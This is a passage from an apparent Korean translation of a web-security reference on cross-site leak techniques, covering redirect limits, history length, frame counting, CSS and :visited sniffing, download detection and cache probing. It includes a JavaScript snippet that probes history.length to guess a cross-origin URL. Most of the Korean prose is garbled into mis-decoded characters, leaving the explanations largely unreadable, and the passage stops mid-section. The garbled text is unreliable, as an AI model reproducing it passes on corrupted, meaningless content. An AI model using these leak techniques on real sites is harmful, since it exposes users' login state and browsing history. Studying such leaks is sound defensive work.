- ์์ฝ: ๋ฆฌ๋๋ ์ ์๋ต ๊ธธ์ด๋ก ์ธํด ์๋ต์ ์ฐจ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค. ์์ฒญ์ด ๋๋ฌด ์ปค์ ์ฐจ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
- ์ฝ๋ ์์ : https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromium ๋ฌธ์์ ๋ฐ๋ฅด๋ฉด, Chrome์ ์ต๋ URL ๊ธธ์ด๋ 2MB์ ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก, _์น ํ๋ซํผ_์ URL ๊ธธ์ด์ ๋ํ ์ ํ์ด ์์ต๋๋ค(2^31์ด ์ผ๋ฐ์ ์ธ ์ ํ์ด์ง๋ง). _Chrome_์ ์ค์ฉ์ ์ธ ์ด์ ๋ก URL์ ์ต๋ 2MB๋ก ์ ํํ๋ฉฐ, ํ๋ก์ธ์ค ๊ฐ ํต์ ์์ ์๋น์ค ๊ฑฐ๋ถ ๋ฌธ์ ๋ฅผ ํผํ๊ธฐ ์ํด์์ ๋๋ค.
๋ฐ๋ผ์ ๋ฆฌ๋๋ ์
URL์ด ํ ๊ฒฝ์ฐ์ ๋ ํฌ๋ค๋ฉด, 2MB๋ณด๋ค ํฐ URL๋ก ๋ฆฌ๋๋ ์
๋๋๋ก ํ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ, Chrome์ about:blank#blocked ํ์ด์ง๋ฅผ ํ์ํฉ๋๋ค.
๋์ ๋๋ ์ฐจ์ด์ ์ ๋ฆฌ๋๋ ์
์ด ์๋ฃ๋์๋ค๋ฉด, window.origin์ด ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๋ ๊ฒ์
๋๋ค. ๊ต์ฐจ ์ถ์ฒ๋ ํด๋น ์ ๋ณด๋ฅผ ์ ๊ทผํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ ํ์ด ์ด๊ณผ๋๊ณ ๋ก๋๋ ํ์ด์ง๊ฐ **about:blank#blocked**์ธ ๊ฒฝ์ฐ, ์ฐฝ์ **origin**์ ๋ถ๋ชจ์ ๊ฒ์ด๋ฉฐ, ์ด๋ ์ ๊ทผ ๊ฐ๋ฅํ ์ ๋ณด์
๋๋ค.
2MB์ ๋๋ฌํ๊ธฐ ์ํด ํ์ํ ๋ชจ๋ ์ถ๊ฐ ์ ๋ณด๋ ์ด๊ธฐ URL์ ํด์๋ฅผ ํตํด ์ถ๊ฐํ ์ ์์ผ๋ฏ๋ก ๋ฆฌ๋๋ ์ ์ ์ฌ์ฉ๋ฉ๋๋ค.
์ต๋ ๋ฆฌ๋๋ ์
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API, ํ๋ ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ์ํ ์ฝ๋
- ์์ธํ ์ ๋ณด: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- ์์ฝ: ๋ธ๋ผ์ฐ์ ์ ๋ฆฌ๋๋ ์ ์ ํ์ ์ฌ์ฉํ์ฌ URL ๋ฆฌ๋๋ ์ ์ ๋ฐ์ ์ฌ๋ถ๋ฅผ ํ์ธํฉ๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#Max%20Redirect%20Leak
๋ธ๋ผ์ฐ์ ์ ์ต๋ ๋ฆฌ๋๋ ์ ์๊ฐ 20์ธ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ 19๊ฐ์ ๋ฆฌ๋๋ ์ ์ผ๋ก ์์ ์ ํ์ด์ง๋ฅผ ๋ก๋ํ๋ ค๊ณ ์๋ํ๊ณ ๋ง์ง๋ง์ผ๋ก ํผํด์๋ฅผ ํ ์คํธ๋ ํ์ด์ง๋ก ๋ณด๋ ๋๋ค. ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด, ํ์ด์ง๊ฐ ํผํด์๋ฅผ ๋ฆฌ๋๋ ์ ํ๋ ค๊ณ ์๋ํ ๊ฒ์ ๋๋ค.
ํ์คํ ๋ฆฌ ๊ธธ์ด
- ํฌํจ ๋ฐฉ๋ฒ: ํ๋ ์, ํ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ๋ฆฌ๋๋ ์
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/navigations/
- ์์ฝ: JavaScript ์ฝ๋๋ ๋ธ๋ผ์ฐ์ ํ์คํ ๋ฆฌ๋ฅผ ์กฐ์ํ ์ ์์ผ๋ฉฐ, ๊ธธ์ด ์์ฑ์ผ๋ก ์ ๊ทผํ ์ ์์ต๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#History%20Length%20Leak
History API๋ JavaScript ์ฝ๋๊ฐ ๋ธ๋ผ์ฐ์ ํ์คํ ๋ฆฌ๋ฅผ ์กฐ์ํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ์ด๋ ์ฌ์ฉ์๊ฐ ๋ฐฉ๋ฌธํ ํ์ด์ง๋ฅผ ์ ์ฅํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ๊ธธ์ด ์์ฑ์ ํฌํจ ๋ฐฉ๋ฒ์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค: JavaScript ๋ฐ HTML ํ์์ ๊ฐ์งํ๊ธฐ ์ํด.
**history.length**๋ฅผ ํ์ธํ๊ณ , ์ฌ์ฉ์๊ฐ ํ์ด์ง๋ก ํ์ํ๊ฒ ํ ํ, ๋ค์ ๋์ผ ์ถ์ฒ๋ก ๋ณ๊ฒฝํ๊ณ **history.length**์ ์ ๊ฐ์ ํ์ธํฉ๋๋ค.
๋์ผ URL๋ก ํ์คํ ๋ฆฌ ๊ธธ์ด
- ํฌํจ ๋ฐฉ๋ฒ: ํ๋ ์, ํ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: URL์ด ์ถ์ธกํ ๊ฒ๊ณผ ๋์ผํ ๊ฒฝ์ฐ
- ์์ฝ: ํ์คํ ๋ฆฌ ๊ธธ์ด๋ฅผ ์ ์ฉํ์ฌ ํ๋ ์/ํ์ ์ ์์น๊ฐ ํน์ URL์ ์๋์ง ์ถ์ธกํ ์ ์์ต๋๋ค.
- ์ฝ๋ ์์ : ์๋
๊ณต๊ฒฉ์๋ JavaScript ์ฝ๋๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ ์/ํ์
์์น๋ฅผ ์ถ์ธกํ URL๋ก ์กฐ์ํ๊ณ ์ฆ์ **about:blank**๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ํ์คํ ๋ฆฌ ๊ธธ์ด๊ฐ ์ฆ๊ฐํ๋ฉด URL์ด ์ฌ๋ฐ๋ฅด๋ค๋ ์๋ฏธ์ด๋ฉฐ, ๊ฐ์ ๊ฒฝ์ฐ์๋ URL์ด ๋ค์ ๋ก๋๋์ง ์๊ธฐ ๋๋ฌธ์ ์ฆ๊ฐํ ์๊ฐ์ด ์์์ต๋๋ค. ์ฆ๊ฐํ์ง ์์๋ค๋ฉด, ์ถ์ธกํ URL์ ๋ก๋ํ๋ ค๊ณ ์๋ํ์ง๋ง, ์ฆ์ ์ดํ์ **about:blank**๋ฅผ ๋ก๋ํ๊ธฐ ๋๋ฌธ์ ํ์คํ ๋ฆฌ ๊ธธ์ด๊ฐ ์ฆ๊ฐํ์ง ์์์ต๋๋ค.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/frame-counting/
- Summary:
window.length์์ฑ์ ๊ฒ์ฌํ์ฌ iframe ์์์ ์๋ฅผ ํ๊ฐํฉ๋๋ค. - Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak
์น์์ iframe ๋๋ window.open์ ํตํด ์ด๋ฆฐ ํ๋ ์์ ์๋ฅผ ์ธ๋ ๊ฒ์ ์ฌ์ฉ์์ ์ํ๋ฅผ ์๋ณํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค.
๋ํ, ํ์ด์ง์ ํญ์ ๋์ผํ ์์ ํ๋ ์์ด ์๋ ๊ฒฝ์ฐ, ํ๋ ์ ์๋ฅผ ์ง์์ ์ผ๋ก ํ์ธํ๋ฉด ์ ๋ณด๊ฐ ์ ์ถ๋ ์ ์๋ ํจํด์ ์๋ณํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค.
์ด ๊ธฐ์ ์ ์๋ก, ํฌ๋กฌ์์๋ PDF๊ฐ ํ๋ ์ ์นด์ดํ
์ผ๋ก ๊ฐ์ง๋ ์ ์์ต๋๋ค. ๋ด๋ถ์ ์ผ๋ก embed๊ฐ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์
๋๋ค. zoom, view, page, toolbar์ ๊ฐ์ ์ฝํ
์ธ ์ ๋ํ ์ผ๋ถ ์ ์ด๋ฅผ ํ์ฉํ๋ Open URL Parameters๊ฐ ์์ด ์ด ๊ธฐ์ ์ด ํฅ๋ฏธ๋ก์ธ ์ ์์ต๋๋ค.
HTMLElements
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/
- Summary: 2๊ฐ์ ๊ฐ๋ฅํ ์ํ๋ฅผ ๊ตฌ๋ณํ๊ธฐ ์ํด ์ ์ถ๋ ๊ฐ์ ์ฝ์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
HTML ์์๋ฅผ ํตํ ์ ๋ณด ์ ์ถ์ ์น ๋ณด์์์ ์ฐ๋ ค๋๋ ๋ฌธ์ ๋ก, ํนํ ์ฌ์ฉ์ ์ ๋ณด์ ๋ฐ๋ผ ๋์ ์ผ๋ก ๋ฏธ๋์ด ํ์ผ์ด ์์ฑ๋๊ฑฐ๋ ์ํฐ๋งํฌ๊ฐ ์ถ๊ฐ๋์ด ๋ฏธ๋์ด ํฌ๊ธฐ๊ฐ ๋ณ๊ฒฝ๋ ๋ ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค. ๊ณต๊ฒฉ์๋ ํน์ HTML ์์๊ฐ ๋ ธ์ถํ๋ ์ ๋ณด๋ฅผ ๋ถ์ํ์ฌ ๊ฐ๋ฅํ ์ํ๋ฅผ ๊ตฌ๋ณํ ์ ์์ต๋๋ค.
Information Exposed by HTML Elements
- HTMLMediaElement: ์ด ์์๋ ๋ฏธ๋์ด์
duration๋ฐbuffered์๊ฐ์ ๋ ธ์ถํ๋ฉฐ, API๋ฅผ ํตํด ์ ๊ทผํ ์ ์์ต๋๋ค. HTMLMediaElement์ ๋ํด ๋ ์ฝ๊ธฐ - HTMLVideoElement:
videoHeight๋ฐvideoWidth๋ฅผ ๋ ธ์ถํฉ๋๋ค. ์ผ๋ถ ๋ธ๋ผ์ฐ์ ์์๋webkitVideoDecodedByteCount,webkitAudioDecodedByteCount,webkitDecodedFrameCount์ ๊ฐ์ ์ถ๊ฐ ์์ฑ์ด ์ ๊ณต๋์ด ๋ฏธ๋์ด ์ฝํ ์ธ ์ ๋ํ ๋ ๊น์ด ์๋ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค. HTMLVideoElement์ ๋ํด ๋ ์ฝ๊ธฐ - getVideoPlaybackQuality(): ์ด ํจ์๋ ๋น๋์ค ์ฌ์ ํ์ง์ ๋ํ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ฉฐ,
totalVideoFrames๋ฅผ ํฌํจํ์ฌ ์ฒ๋ฆฌ๋ ๋น๋์ค ๋ฐ์ดํฐ์ ์์ ๋ํ๋ผ ์ ์์ต๋๋ค. getVideoPlaybackQuality()์ ๋ํด ๋ ์ฝ๊ธฐ - HTMLImageElement: ์ด ์์๋ ์ด๋ฏธ์ง์
height๋ฐwidth๋ฅผ ์ ์ถํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฏธ์ง๊ฐ ์ ํจํ์ง ์์ ๊ฒฝ์ฐ ์ด๋ฌํ ์์ฑ์ 0์ ๋ฐํํ๋ฉฐ,image.decode()ํจ์๋ ๊ฑฐ๋ถ๋์ด ์ด๋ฏธ์ง๋ฅผ ์ ๋๋ก ๋ก๋ํ์ง ๋ชปํ์์ ๋ํ๋ ๋๋ค. HTMLImageElement์ ๋ํด ๋ ์ฝ๊ธฐ
CSS Property
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- Summary: ์ฌ์ฉ์์ ์ํ ๋๋ ์ํ์ ๊ด๋ จ๋ ์น์ฌ์ดํธ ์คํ์ผ์ ๋ณํ๋ฅผ ์๋ณํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak
์น ์ ํ๋ฆฌ์ผ์ด์
์ ์ฌ์ฉ์์ ์ํ์ ๋ฐ๋ผ ์น์ฌ์ดํธ ์คํ์ผ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์ ํ์ด์ง์ HTML ๋งํฌ ์์๋ฅผ ์ฌ์ฉํ์ฌ ๊ต์ฐจ ์ถ์ฒ CSS ํ์ผ์ ์ฝ์
ํ ์ ์์ผ๋ฉฐ, ๊ท์น์ด ๊ณต๊ฒฉ์ ํ์ด์ง์ ์ ์ฉ๋ฉ๋๋ค. ํ์ด์ง๊ฐ ์ด๋ฌํ ๊ท์น์ ๋์ ์ผ๋ก ๋ณ๊ฒฝํ๋ฉด ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์ ์ํ์ ๋ฐ๋ผ ์ด๋ฌํ ์ฐจ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
์ ์ถ ๊ธฐ์ ๋ก์ ๊ณต๊ฒฉ์๋ window.getComputedStyle ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ ํน์ HTML ์์์ CSS ์์ฑ์ ์ฝ์ ์ ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก, ๊ณต๊ฒฉ์๋ ์ํฅ์ ๋ฐ๋ ์์์ ์์ฑ ์ด๋ฆ์ด ์๋ ค์ ธ ์๋ค๋ฉด ์์์ CSS ์์ฑ์ ์ฝ์ ์ ์์ต๋๋ค.
CSS History
- Inclusion Methods: HTML Elements
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- Summary: URL์
:visited์คํ์ผ์ด ์ ์ฉ๋์๋์ง ๊ฐ์งํ์ฌ ์ด๋ฏธ ๋ฐฉ๋ฌธํ์์ ๋ํ๋ ๋๋ค. - Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
์ด๊ฒ์ ๋ฐ๋ฅด๋ฉด, ์ด ๋ฐฉ๋ฒ์ ํค๋๋ฆฌ์ค ํฌ๋กฌ์์ ์๋ํ์ง ์์ต๋๋ค.
CSS :visited ์ ํ์๋ ์ฌ์ฉ์๊ฐ ์ด์ ์ ๋ฐฉ๋ฌธํ URL์ ๋ค๋ฅด๊ฒ ์คํ์ผ๋งํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๊ณผ๊ฑฐ์๋ getComputedStyle() ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฌํ ์คํ์ผ ์ฐจ์ด๋ฅผ ์๋ณํ ์ ์์์ต๋๋ค. ๊ทธ๋ฌ๋ ํ๋ ๋ธ๋ผ์ฐ์ ๋ ์ด ๋ฉ์๋๊ฐ ๋งํฌ์ ์ํ๋ฅผ ๋
ธ์ถํ์ง ์๋๋ก ๋ณด์ ์กฐ์น๋ฅผ ๊ตฌํํ์ต๋๋ค. ์ด๋ฌํ ์กฐ์น์๋ ๋งํฌ๊ฐ ๋ฐฉ๋ฌธ๋ ๊ฒ์ฒ๋ผ ํญ์ ๊ณ์ฐ๋ ์คํ์ผ์ ๋ฐํํ๊ณ :visited ์ ํ์๋ก ์ ์ฉํ ์ ์๋ ์คํ์ผ์ ์ ํํ๋ ๊ฒ์ด ํฌํจ๋ฉ๋๋ค.
์ด๋ฌํ ์ ํ์๋ ๋ถ๊ตฌํ๊ณ ๋งํฌ์ ๋ฐฉ๋ฌธ ์ํ๋ฅผ ๊ฐ์ ์ ์ผ๋ก ์๋ณํ ์ ์์ต๋๋ค. ํ ๊ฐ์ง ๊ธฐ์ ์ ์ฌ์ฉ์๊ฐ CSS์ ์ํฅ์ ๋ฐ๋ ์์ญ๊ณผ ์ํธ์์ฉํ๋๋ก ์ ๋ํ๋ ๊ฒ์
๋๋ค. ํนํ mix-blend-mode ์์ฑ์ ํ์ฉํฉ๋๋ค. ์ด ์์ฑ์ ์์์ ๋ฐฐ๊ฒฝ์ ํผํฉํ ์ ์๊ฒ ํ์ฌ ์ฌ์ฉ์ ์ํธ์์ฉ์ ๋ฐ๋ผ ๋ฐฉ๋ฌธ ์ํ๋ฅผ ๋๋ฌ๋ผ ์ ์์ต๋๋ค.
๋ํ, ๋งํฌ์ ๋ ๋๋ง ํ์ด๋ฐ์ ์ ์ฉํ์ฌ ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ๊ฐ์ง๊ฐ ๊ฐ๋ฅํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ๋ ๋ฐฉ๋ฌธํ ๋งํฌ์ ๋ฐฉ๋ฌธํ์ง ์์ ๋งํฌ๋ฅผ ๋ค๋ฅด๊ฒ ๋ ๋๋งํ ์ ์์ผ๋ฏ๋ก, ์ด๋ ๋ ๋๋ง์์ ์ธก์ ๊ฐ๋ฅํ ์๊ฐ ์ฐจ์ด๋ฅผ ์ด๋ํ ์ ์์ต๋๋ค. ์ฌ๋ฌ ๋งํฌ๋ฅผ ์ฌ์ฉํ์ฌ ํ์ด๋ฐ ์ฐจ์ด๋ฅผ ์ฆํญ์ํค๋ ์ด ๊ธฐ์ ์ ๋ณด์ฌ์ฃผ๋ ๊ฐ๋ ์ฆ๋ช (PoC)์ด ํฌ๋กฌ ๋ฒ๊ทธ ๋ณด๊ณ ์์ ์ธ๊ธ๋์์ต๋๋ค.
์ด ์์ฑ๊ณผ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ๋ฌธ์ ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธํ์ญ์์ค:
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Headers
- More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- Summary: Google Chrome์์๋ X-Frame-Options ์ ํ์ผ๋ก ์ธํด ํ์ด์ง๊ฐ ๊ต์ฐจ ์ถ์ฒ ์ฌ์ดํธ์ ํฌํจ๋๋ ๊ฒ์ด ์ฐจ๋จ๋ ๋ ์ ์ฉ ์ค๋ฅ ํ์ด์ง๊ฐ ํ์๋ฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
ํฌ๋กฌ์์ X-Frame-Options ํค๋๊ฐ โdenyโ ๋๋ โsame-originโ์ผ๋ก ์ค์ ๋ ํ์ด์ง๊ฐ ๊ฐ์ฒด๋ก ํฌํจ๋๋ฉด ์ค๋ฅ ํ์ด์ง๊ฐ ๋ํ๋ฉ๋๋ค. ํฌ๋กฌ์ ์ด ๊ฐ์ฒด์ contentDocument ์์ฑ์ ๋ํด ๋น ๋ฌธ์ ๊ฐ์ฒด(์ฆ, null์ด ์๋)๋ฅผ ๊ณ ์ ํ๊ฒ ๋ฐํํฉ๋๋ค. ์ด๋ iframe์ด๋ ๋ค๋ฅธ ๋ธ๋ผ์ฐ์ ์๋ ๋ค๋ฆ
๋๋ค. ๊ณต๊ฒฉ์๋ ๋น ๋ฌธ์๋ฅผ ๊ฐ์งํ์ฌ ์ฌ์ฉ์์ ์ํ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค. ํนํ ๊ฐ๋ฐ์๊ฐ X-Frame-Options ํค๋๋ฅผ ์ผ๊ด๋๊ฒ ์ค์ ํ์ง ์๊ณ ์ค๋ฅ ํ์ด์ง๋ฅผ ๊ฐ๊ณผํ๋ ๊ฒฝ์ฐ ๋์ฑ ๊ทธ๋ ์ต๋๋ค. ์ด๋ฌํ ์ ์ถ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ณด์ ํค๋์ ์ธ์๊ณผ ์ผ๊ด๋ ์ ์ฉ์ด ์ค์ํฉ๋๋ค.
Download Detection
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- Summary: ๊ณต๊ฒฉ์๋ iframe์ ํ์ฉํ์ฌ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ๊ฐ์งํ ์ ์์ผ๋ฉฐ, iframe์ ์ง์์ ์ธ ์ ๊ทผ ๊ฐ๋ฅ์ฑ์ ํ์ผ ๋ค์ด๋ก๋๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์ด๋ฃจ์ด์ก์์ ๋ํ๋ ๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition ํค๋, ํนํ Content-Disposition: attachment๋ ๋ธ๋ผ์ฐ์ ์ ์ฝํ
์ธ ๋ฅผ ์ธ๋ผ์ธ์ผ๋ก ํ์ํ๋ ๋์ ๋ค์ด๋ก๋ํ๋๋ก ์ง์ํฉ๋๋ค. ์ด ๋์์ ์ฌ์ฉ์๊ฐ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ๋ ํ์ด์ง์ ์ ๊ทผํ ์ ์๋์ง๋ฅผ ๊ฐ์งํ๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค. ํฌ๋ก๋ฏธ์ ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์์๋ ์ด ๋ค์ด๋ก๋ ๋์์ ๊ฐ์งํ๊ธฐ ์ํ ๋ช ๊ฐ์ง ๊ธฐ์ ์ด ์์ต๋๋ค:
- ๋ค์ด๋ก๋ ๋ฐ ๋ชจ๋ํฐ๋ง:
- ํฌ๋ก๋ฏธ์ ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ์์ ํ์ผ์ด ๋ค์ด๋ก๋๋๋ฉด ๋ธ๋ผ์ฐ์ ์ฐฝ ํ๋จ์ ๋ค์ด๋ก๋ ๋ฐ๊ฐ ๋ํ๋ฉ๋๋ค.
- ์ฐฝ ๋์ด์ ๋ณํ๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ๋ค์ด๋ก๋ ๋ฐ์ ๋ํ๋จ์ ์ถ๋ก ํ ์ ์์ต๋๋ค.
- iframe์ ํตํ ๋ค์ด๋ก๋ ํ์:
- ํ์ด์ง๊ฐ
Content-Disposition: attachmentํค๋๋ฅผ ์ฌ์ฉํ์ฌ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ ๋ ํ์ ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํค์ง ์์ต๋๋ค. - ์ฝํ ์ธ ๋ฅผ iframe์ ๋ก๋ํ๊ณ ํ์ ์ด๋ฒคํธ๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ์ฝํ ์ธ ๋ฐฐ์น๊ฐ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ๋์ง(ํ์ ์์) ํ์ธํ ์ ์์ต๋๋ค.
- iframe ์์ด ๋ค์ด๋ก๋ ํ์:
- iframe ๊ธฐ์ ๊ณผ ์ ์ฌํ๊ฒ, ์ด ๋ฐฉ๋ฒ์ iframe ๋์
window.open์ ์ฌ์ฉํฉ๋๋ค. - ์๋ก ์ด๋ฆฐ ์ฐฝ์์ ํ์ ์ด๋ฒคํธ๋ฅผ ๋ชจ๋ํฐ๋งํ์ฌ ํ์ผ ๋ค์ด๋ก๋๊ฐ ์ ๋ฐ๋์๋์ง(ํ์ ์์) ๋๋ ์ฝํ ์ธ ๊ฐ ์ธ๋ผ์ธ์ผ๋ก ํ์๋์๋์ง(ํ์ ๋ฐ์)๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
๋ก๊ทธ์ธํ ์ฌ์ฉ์๋ง ์ด๋ฌํ ๋ค์ด๋ก๋๋ฅผ ์ ๋ฐํ ์ ์๋ ์๋๋ฆฌ์ค์์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ๋ค์ด๋ก๋ ์์ฒญ์ ๋ํ ๋ธ๋ผ์ฐ์ ์ ์๋ต์ ๊ธฐ๋ฐ์ผ๋ก ์ฌ์ฉ์์ ์ธ์ฆ ์ํ๋ฅผ ๊ฐ์ ์ ์ผ๋ก ์ถ๋ก ํ ์ ์์ต๋๋ค.
Partitioned HTTP Cache Bypass
- Inclusion Methods: Pop-ups
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- Summary: ๊ณต๊ฒฉ์๋ iframe์ ํ์ฉํ์ฌ ํ์ผ ๋ค์ด๋ก๋๋ฅผ ๊ฐ์งํ ์ ์์ผ๋ฉฐ, iframe์ ์ง์์ ์ธ ์ ๊ทผ ๊ฐ๋ฅ์ฑ์ ํ์ผ ๋ค์ด๋ก๋๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์ด๋ฃจ์ด์ก์์ ๋ํ๋ ๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
Warning
์ด ๊ธฐ์ ์ด ํฅ๋ฏธ๋ก์ด ์ด์ ๋: ํฌ๋กฌ์ ์ด์ ์บ์ ํํฐ์ ๋์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์๋ก ์ด๋ฆฐ ํ์ด์ง์ ์บ์ ํค๋:
(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)์ ๋๋ค. ๊ทธ๋ฌ๋ ngrok ํ์ด์ง๋ฅผ ์ด๊ณ fetch๋ฅผ ์ฌ์ฉํ๋ฉด ์บ์ ํค๋:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)๊ฐ ๋ฉ๋๋ค. ์บ์ ํค๊ฐ ๋ค๋ฅด๋ฏ๋ก ์บ์๋ฅผ ๊ณต์ ํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ๋ ๋ง์ ์ธ๋ถ์ ๋ณด๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค: ์บ์ ํํฐ์ ๋์ ํตํ ๋ณด์ ๋ฐ ๊ฐ์ธ ์ ๋ณด ๋ณดํธ ํ๋ณด
(์ฌ๊ธฐ์ ๋๊ธ)
์ฌ์ดํธ example.com์ด *.example.com/resource์์ ๋ฆฌ์์ค๋ฅผ ํฌํจํ๋ฉด ํด๋น ๋ฆฌ์์ค๋ ์ต์์ ํ์์ ํตํด ์ง์ ์์ฒญ๋ ๊ฒ์ฒ๋ผ ๋์ผํ ์บ์ฑ ํค๋ฅผ ๊ฐ์ต๋๋ค. ์ด๋ ์บ์ฑ ํค๊ฐ ์ต์์ eTLD+1 ๋ฐ ํ๋ ์ _eTLD+1_๋ก ๊ตฌ์ฑ๋๊ธฐ ๋๋ฌธ์
๋๋ค.
์บ์์ ์ ๊ทผํ๋ ๊ฒ์ด ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๋ ๊ฒ๋ณด๋ค ๋น ๋ฅด๊ธฐ ๋๋ฌธ์, ํ์ด์ง์ ์์น๋ฅผ ๋ณ๊ฒฝํ๊ณ 20ms ํ์ ์ทจ์ํ๋ ค๊ณ ์๋ํ ์ ์์ต๋๋ค(์:). ์๋ณธ์ด ์ค์ง ํ ๋ณ๊ฒฝ๋์๋ค๋ฉด, ๋ฆฌ์์ค๊ฐ ์บ์๋์์์ ์๋ฏธํฉ๋๋ค.
๋๋ ์ ์ฌ์ ์ผ๋ก ์บ์๋ ํ์ด์ง์ fetch๋ฅผ ๋ณด๋ด๊ณ ์์ ์๊ฐ์ ์ธก์ ํ ์ ์์ต๋๋ค.
Manual Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Redirects
- More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- Summary: fetch ์์ฒญ์ ๋ํ ์๋ต์ด ๋ฆฌ๋๋ ์ ์ธ์ง ํ์ธํ ์ ์์ต๋๋ค.
- Code Example:
.png)
Fetch with AbortController
- Inclusion Methods: Fetch API
